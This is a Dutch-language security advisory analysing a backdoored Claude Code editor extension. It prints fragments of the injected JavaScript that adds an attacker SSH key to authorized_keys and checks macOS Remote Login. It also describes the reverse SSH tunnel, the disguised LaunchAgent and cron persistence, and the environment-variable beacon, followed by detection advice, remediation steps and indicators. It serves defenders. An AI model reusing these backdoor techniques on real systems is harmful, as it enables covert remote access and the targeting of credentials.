Compromis van officiële Claude Code-extensie: Beveiligingsadvies

Organisaties wordt geadviseerd hun omgevingen onmiddellijk te controleren op het gebruik van Claude Code for VSCode versie 2.1.313 en incident response in te schakelen indien het gebruik van deze extensie wordt vastgesteld.

Cursor heeft de betreffende release inmiddels verwijderd uit de marketplace en daarnaast de NPM- en VSCode-versies voor 2.1.313 uit de relevante registers getrokken.

Hoewel het implantaat logica bevat voor installatie en persistentie op macOS, Linux en Windows, focust dit artikel zich op macOS. We benoemen gaandeweg de belangrijkste verschillen en enkele implementatiefouten op de andere platforms.

De Cursor Marketplace levert extensies voor de Cursor-editor. Omdat extensies draaien met de rechten van de IDE en de gebruiker die deze uitvoert, krijgt een gecompromitteerde extensie direct toegang tot lokale bestanden, broncode en developer-tooling zodra de module wordt geladen.

Opvallend is dat Phorion een waarschijnlijk overzicht heeft ontdekt in de manier waarop de malware probeert SSH in te schakelen. De setup-logica gaat ervan uit dat de huidige status van 'Remote Login' gecontroleerd kan worden zonder root-rechten. Wanneer dit als standaardgebruiker wordt uitgevoerd, print systemsetup -getremotelogin een foutmelding over administrator-toegang en sluit het programma af met status 0 in plaats van 'Off' terug te geven. Omdat het script SSH alleen probeert in te schakelen als de output exact 'Off' is, wordt deze stap volledig overgeslagen. Op een Mac waar SSH nog niet actief is, blokkeert deze fout de inkomende toegang, ook al zijn de SSH-sleutels en de persistentie wel geplaatst.

In dit artikel leggen we uit hoe de backdoor werkt, waarom de macOS-controle faalt en waar u in uw netwerk op moet letten. Het doel van deze payload is interactieve toegang op de lange termijn. Hoewel de SSH-bug de impact op macOS minimaliseert, blijft de malware een aanzienlijk risico omdat het persistentie installeert en host-informatie (reconnaissance) terugstuurt naar de operator.

Infectieketen

De Cursor Marketplace Extensie

Het gecompromitteerde extension.js-bestand begint met een geïnjecteerde immediately invoked function expression (IIFE) die vóór de geminificeerde extensiebundel is geplaatst. De rest van de bundel ziet eruit als de standaardextensie, met normale Claude Code- en VS Code-strings, standaard activate- en deactivate-exports en UI-code.

De geïnjecteerde prefix importeert standaard Node.js-modules (child_process, fs, os, path, http en crypto) en wordt uitgevoerd zodra Node het bestand laadt, nog voordat de normale activate-callback van de extensie wordt uitgevoerd. De gebruiker hoeft geen interactie te hebben met de extensie voordat de payload afgaat.

Stap 1 - SSH-toegang voorbereiden

Eerst zorgt de payload ervoor dat ~/.ssh bestaat en voegt een door de aanvaller gecontroleerde Ed25519-publieke sleutel toe aan ~/.ssh/authorized_keys. De rechten worden ingesteld op 0700 voor de map en 0600 voor het bestand.

De sleutel maakt gebruik van de commentaar svc-telemetry. Voordat de sleutel wordt toegevoegd, controleert het script of svc-telemetry al in het bestand staat, in plaats van te controleren op de sleutel zelf. Bij het opsporen van deze activiteit is het raadzaam om de public-key fingerprint te controleren in plaats van alleen te vertrouwen op de commentaarstring.

var sd = path.join(HOME, ".ssh"),
ak = path.join(sd, "authorized_keys");
// ...
if (cur.indexOf("svc-telemetry") < 0) {
  fs.appendFileSync(ak, PUB + "\n");
  d.sshKey = "added"
} else {
  d.sshKey = "present"
}

In dit fragment bevat cur de bestaande inhoud van authorized_keys en PUB is de ingebedde publieke sleutel van de aanvaller.

Zodra de sleutel is geplaatst, kan iedereen met de bijbehorende privésleutel zich als die gebruiker authenticeren, mits SSH daadwerkelijk draait. De volgende stap in het script probeert te garanderen dat de lokale SSH-daemon is ingeschakeld en luistert:

  • Linux: probeert sshd of ssh in te schakelen en te starten via systemctl, met een fallback naar service en /etc/init.d/.
  • macOS: controleert 'Remote Login' en probeert dit, indien dit op 'Off' staat, in te schakelen via sudo -n systemsetup -setremotelogin on.
  • Windows: probeert de OpenSSH Server te installeren en te starten met PowerShell.

Geen van deze stappen bevat een privilege escalation-exploit. Een non-interactieve sudo -n zal falen tenzij de gebruiker al passwordless sudo heeft geconfigureerd of gecacht, waardoor het starten van een systeemservice vanuit een standaardgebruikerscontext niet altijd zal lukken.

Ook de Windows-codepad lijkt een bug te bevatten: het geeft het PowerShell-commando voor de service-setup door aan een helperfunctie (det()) die /bin/sh hardcoded gebruikt, wat op een standaard Windows-installatie niet zal werken.

Een bug in de macOS SSH-logica?

Op macOS kan de setup problemen ondervinden voordat het sudo-commando überhaupt wordt bereikt. Het script voert systemsetup -getremotelogin uit zonder verhoogde rechten en test de output tegen /Off/i. Alleen als de output 'Off' bevat, probeert het script Remote Login in te schakelen:

// ...
else if (PLAT === "darwin") {
  var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000);
  d.remoteLogin = rl;
  if (/Off/i.test(rl)) {
    det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1");
    d.remoteLoginOn = "tried"
  }
}

Let op dat het tweede commando (-setremotelogin on) sudo -n gebruikt, terwijl het eerste commando (-getremotelogin) dat niet doet. Wanneer u systemsetup -getremotelogin uitvoert als standaardgebruiker op macOS, krijgt u het volgende:

"You need administrator access to run this tool... exiting!"

systemsetup weigert de instelling te lezen zonder administrator-rechten, print de fout naar stdout en sluit af met status 0. De ex() helper van de malware pakt stdout op en geeft dit terug:

function ex(c, t) {
  try {
    return cp.execSync(c, {
      timeout: t || 3000,
      stdio: ["ignore", "pipe", "ignore"],
      windowsHide: true
    }).toString().trim()
  } catch (e) {
    return ""
  }
}

Omdat de output "You need administrator access to run this tool... exiting!" is, evalueert /Off/i.test(rl) naar false.

Als gevolg hiervan slaat het script het if-blok over en voert het sudo -n systemsetup -setremotelogin on nooit uit. Het behandelt "Ik heb geen toestemming om te controleren of SSH uit staat" effectief als "SSH staat al aan". Dit verklaart waarom u de poging tot inschakeling niet zult zien in proces-telemetrie wanneer de extensie als normale gebruiker draait.

Deze bug kan de laatste stap van de toegangsketen verbreken. Als Remote Login niet al was ingeschakeld op de Mac, kan de outbound tunnel nog steeds verbinding maken met de server van de aanvaller, maar al het verkeer dat via de tunnel terug wordt gestuurd, zal stuiten op een gesloten poort 22 op localhost. Dit is echter geen betrouwbare verdediging; als de gebruiker Remote Login al had ingeschakeld of dit later doet, staat de backdoor klaar.

Stap 2 - De Reverse SSH-tunnel opzetten

Vervolgens zet het script een uitgaande SSH-verbinding op naar 134.209.82[.]225 als de gebruiker tunnel op poort 22. Om zich te authenticeren bij de server van de aanvaller, decodeert het een aparte ingebedde privésleutel: een onversleutelde OpenSSH Ed25519-sleutel met de commentaar svc-telemetry-tun.

Het is belangrijk om tijdens een onderzoek het onderscheid tussen de twee sleutels te bewaren:

  1. De publieke sleutel toegevoegd aan ~/.ssh/authorized_keys (svc-telemetry) laat de aanvaller inloggen op de machine van het slachtoffer.
  2. De ingebedde privésleutel (svc-telemetry-tun) laat de machine van het slachtoffer verbinding maken met de tunnelserver van de aanvaller.

Het script schrijft deze tunnelsleutel naar de tijdelijke directory van het OS met een bestandsnaam die begint met .stk_, gevolgd door de eerste tien tekens van de MD5-hash van de hostname en het pad naar de home directory:

var kf = path.join(
  TMP,
  ".stk_" + crypto.createHash("md5")
  .update(String(os.hostname()) + HOME).digest("hex").slice(0, 10)
);
// ...
var RF = (PLAT === "win32") ? "\"*:0:localhost:22\"" : "'*:0:localhost:22'";

De tunnel gebruikt -R :0:localhost:22 voor remote port forwarding*. Door 0 te gebruiken, vraagt hij de SSH-server van de aanvaller om dynamisch een luisterpoort toe te wijzen en al het verkeer dat daar binnenkomt terug te sturen via de tunnel naar localhost:22 op de machine van het slachtoffer.

Verkeersstroom: Besmette host → (uitgaande SSH-tunnel) → Externe SSH-server Operator → (aparte verbinding) → Toegewezen poort op server → (via bestaande tunnel) → SSH:22 van besmette host → Inloggen met geplaatste sleutel

Omdat de tunnel draait met -N, houdt hij alleen de poortforward open zonder een commando uit te voeren op de remote server. Wanneer de operator toegang tot de machine wil, start hij een aparte SSH-sessie via de toegewezen poort op zijn server, waarbij hij zich authenticeert bij de lokale SSH-daemon van het slachtoffer met de sleutel uit Stap 1. Dit geeft hen een volledige interactieve shell en bestandsoverdrachtmogelijkheid zonder dat er custom C2-commando-afhandeling in de JavaScript zelf nodig is.

Het SSH-commando gebruikt daarnaast vlaggen om de verbinding discreet en non-interactief te houden: host-key checking is uitgeschakeld, known_hosts wordt genegeerd, BatchMode en IdentitiesOnly zijn ingeschakeld, keepalives staan op 30 seconden (ServerAliveCountMax=3) en ExitOnForwardFailure is ingeschakeld.

Als autossh is geïnstalleerd, gebruikt het script dit; anders valt het terug op standaard ssh. De verbinding wordt verpakt in een losgekoppelde (detached) retry-loop die elke 60 seconden opnieuw probeert, waarbij pgrep op Unix-systemen wordt gebruikt om dubbele tunnels te voorkomen. Omdat de loop is losgekoppeld, blijft de tunnel actief, zelfs nadat de gebruiker de IDE heeft gesloten.

Stap 3 - Toegang behouden (Persistentie)

Om een reboot te overleven, stelt het script platformspecifieke persistentie in naast de initiële tunnel:

PlatformArtifactsPersistentiemechanismeNotities
Linux~/.config/.smt, ~/.config/.smtkSchrijft een shell-script dat de tunnelsleutel recreëert en de SSH-verbinding in een loop zet; voegt een @reboot entry toe aan de crontab.Bevat een bug in de crontab-controle die bestaande cron-jobs kan wissen bij herhaalde runs.
macOS~/.config/.smt, ~/.config/.smtk, ~/Library/LaunchAgents/com.apple.sysmond.plistSchrijft een user LaunchAgent die /bin/sh ~/.config/.smt uitvoert met RunAtLoad en KeepAlive op true; laadt dit via launchctl.Draait in de user-context in plaats van als een root LaunchDaemon.
Windows~/.config/smt.cmd, ~/.config/smtk, %APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmdProbeert een scheduled task genaamd SysMon aan te maken die start als SYSTEM. Als dit faalt, plaatst hij sysmon.cmd in de Startup-map.Een SYSTEM-task vereist admin-rechten; de Startup-map fallback draait als de gebruiker bij login.

Op macOS en Linux bevat het ~/.config/.smt script de tunnel-privésleutel en schrijft deze naar ~/.config/.smtk voordat de reconnect-loop start. Op macOS camoufleert de LaunchAgent zich als com.apple.sysmond.plist in ~/Library/LaunchAgents/.

Stap 4 - Host Reconnaissance

Ten slotte verzamelt het script basisinformatie over de host en stuurt een eenmalige beacon terug naar de server van de aanvaller:

  • Hostname, gebruikersnaam, OS-platform en architectuur.
  • Home directory, huidige werkmap en globale Git-email (git config --global user.email).
  • Publiek IP-adres en statusvlaggen van elke setup-stap (bijv. of de SSH-sleutel is toegevoegd en welke persistentiemethode is gebruikt).
  • Tot 40 namen van omgevingsvariabelen (niet de waarden) die overeenkomen met /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.

De controle op omgevingsvariabelen gebruikt Object.keys(process.env). Omdat alleen de namen worden verzameld, exfiltreert de beacon de geheime waarden zelf niet. In plaats daarvan krijgt de operator een inventaris van welke cloud-credentials of API-tokens op de machine staan, zodat zij weten welke hosts prioriteit hebben.

Om het publieke IP te verkrijgen, raadpleegt het script ifconfig[.]me of api[.]ipify[.]org. Het JSON-rapport wordt vervolgens via plaintext HTTP POST-verzoeken naar /beacon gestuurd op zowel 134.209.82[.]225:8099 als 127.0.0.1:8099.

Het is onduidelijk waarom er ook een kopie naar 127.0.0.1:8099 wordt gestuurd; het script zelf zet geen lokale listener op die poort. De beacon is gepland met setTimeout (1,5 seconde na de initiële setup) en negeert elke HTTP-respons. Het is puur een check-in om de operator te laten weten dat de host klaar is, terwijl de SSH-tunnel de eigenlijke toegang afhandelt.

Detectiemogelijkheden

Vanuit een detectieperspectief zijn er verschillende gedragingen in deze keten die opvallen in macOS via Endpoint Security Framework (ESF) telemetrie.

SSH-sleutel en configuratiewijzigingen

Omdat de malware direct naar ~/.ssh/authorizedkeys schrijft met Node's fs.appendFileSync, zullen regels die alleen kijken naar shell-commando's zoals echo of tee dit niet oppikken. Hier is bestandsmodificatie-telemetrie essentieel: let op IDE-helperprocessen (Code Helper, Cursor Helper, etc.) die ~/.ssh/authorizedkeys aanmaken of wijzigen.

Hoewel het IDE-binary zelf geldig is ondertekend, heeft het extension host-proces geen reden om op de achtergrond SSH-authenticatiebestanden te wijzigen. Let ook op systemsetup -setremotelogin on, maar vertrouw hier niet uitsluitend op, aangezien dit commando vaak wordt overgeslagen door de eerder genoemde bug.

User LaunchAgent Persistentie

De persistentie-setup op macOS geeft sterke signalen:

  1. Een proces dat niet van Apple is en een plist schrijft met een com.apple.* label (~/Library/LaunchAgents/com.apple.sysmond.plist).
  2. Een LaunchAgent die is geconfigureerd om /bin/sh uit te voeren tegen een verborgen script in de home directory van de gebruiker (~/.config/.smt).

Omdat de initiële tunnel als een losgekoppeld proces wordt gestart en launchd later .smt direct beheert, zullen de daaropvolgende ssh-processen de IDE niet als hun directe ouder hebben in een procesboom. Het correleren van de aanmaak van .smt en com.apple.sysmond.plist naar de IDE extension host maakt het makkelijker om de keten te reconstrueren.

SSH-tunnels en vervolgtoegang

Kijk in proces- en netwerkgegevens naar:

  • ssh of autossh gestart met remote port forwarding (-R :0:localhost:22) en identity-bestanden uit /tmp/.stk_ of ~/.config/.smtk.
  • Uitgaande SSH-verbindingen naar 134.209.82[.]225 op poort 22, samen met HTTP POST-verzoeken naar 134.209.82[.]225:8099 (en pogingen naar 127.0.0.1:8099).

Als u een host vindt waar deze extensie is gedraaid, is het belangrijk om te controleren of de tunnel alleen is opgezet of dat een operator daadwerkelijk is ingelogd. Omdat inkomende sessies via de lokale port forward arriveren, zullen succesvolle logins in SSH-logs verschijnen alsof ze afkomstig zijn van localhost (127.0.0.1 of ::1) met de svc-telemetry sleutel.

Remediatie

Als u een besmette machine identificeert, is het alleen verwijderen van de extensie onvoldoende. Zorg dat de respons alle volgende stappen omvat:

  1. Actieve tunnelprocessen beëindigen: Stop de /bin/sh retry-loop en alle ssh of autossh processen die verbinding maken met 134.209.82[.]225.
  2. Persistentie verwijderen: Ontlaad en verwijder ~/Library/LaunchAgents/com.apple.sysmond.plist op macOS (of ruim de @reboot cron-entry op Linux / de SysMon scheduled task en Startup-script op Windows op), en verwijder ~/.config/.smt en ~/.config/.smtk.
  3. SSH-sleutels en status opschonen: Verwijder de svc-telemetry publieke sleutel uit ~/.ssh/authorizedkeys, verwijder /tmp/.stk* en controleer of Remote Login (SSH) onverwacht is ingeschakeld.
  4. Credentials roteren: Als SSH was ingeschakeld op de host, of als er bewijs is van een inkomende login, roteer dan alle credentials of tokens die toegankelijk waren voor dat gebruikersaccount (vooral die die overeenkomen met het filter KEY|TOKEN|SECRET|PASS|AWS|GCP).

Indicatoren

Samples en Public-Key Fingerprints

IndicatorWaardeNotities
SHA-256ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15Gecompromitteerde extension.js bundel
Victim-login fingerprintSHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htkEd25519Sleutel toegevoegd aan ~/.ssh/authorized_keys (comment svc-telemetry)
Tunnel fingerprintSHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQIngebedde Ed25519 sleutel voor tunnelserver (comment svc-telemetry-tun)

Netwerkindicatoren

IndicatorTypeNotities
134.209.82[.]225 (TCP 22, user tunnel)IP / SSHUitgaande reverse SSH tunnel server
134.209.82[.]225:8099 (POST /beacon)IP / HTTPExtern host-rapport beacon endpoint
127.0.0.1:8099 (POST /beacon)Loopback / HTTPLokale beacon bestemming
ifconfig[.]me, api[.]ipify[.]orgDomeinLegitieme diensten voor publiek IP-onderzoek

Host Artifacts

ArtifactPlatformNotities
~/.<ide>/extensions/anthropic.claude-code-2.1.313-darwin-arm64macOS (Apple Silicon)Geïnstalleerde extensie directory (<ide> varieert per editor)
~/.ssh/authorized_keys (comment svc-telemetry)AlleGeplaatste Ed25519 publieke sleutel
<TMP>/.stk_<10 hex chars>AlleInitiële tunnel-privésleutel in OS temp directory
~/.config/.smt en ~/.config/.smtkmacOS, LinuxPersistentie shell-script en gerecreëerde tunnel-privésleutel
~/Library/LaunchAgents/com.apple.sysmond.plistmacOSUser LaunchAgent die /bin/sh ~/.config/.smt uitvoert
@reboot cron entry voor ~/.config/.smtLinuxUser crontab persistentie
~/.config/smt.cmd en ~/.config/smtkWindowsPersistentie batch-script en tunnel-privésleutel
Scheduled task SysMonWindowsStartup scheduled task (vraagt om SYSTEM)
%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmdWindowsStartup folder fallback script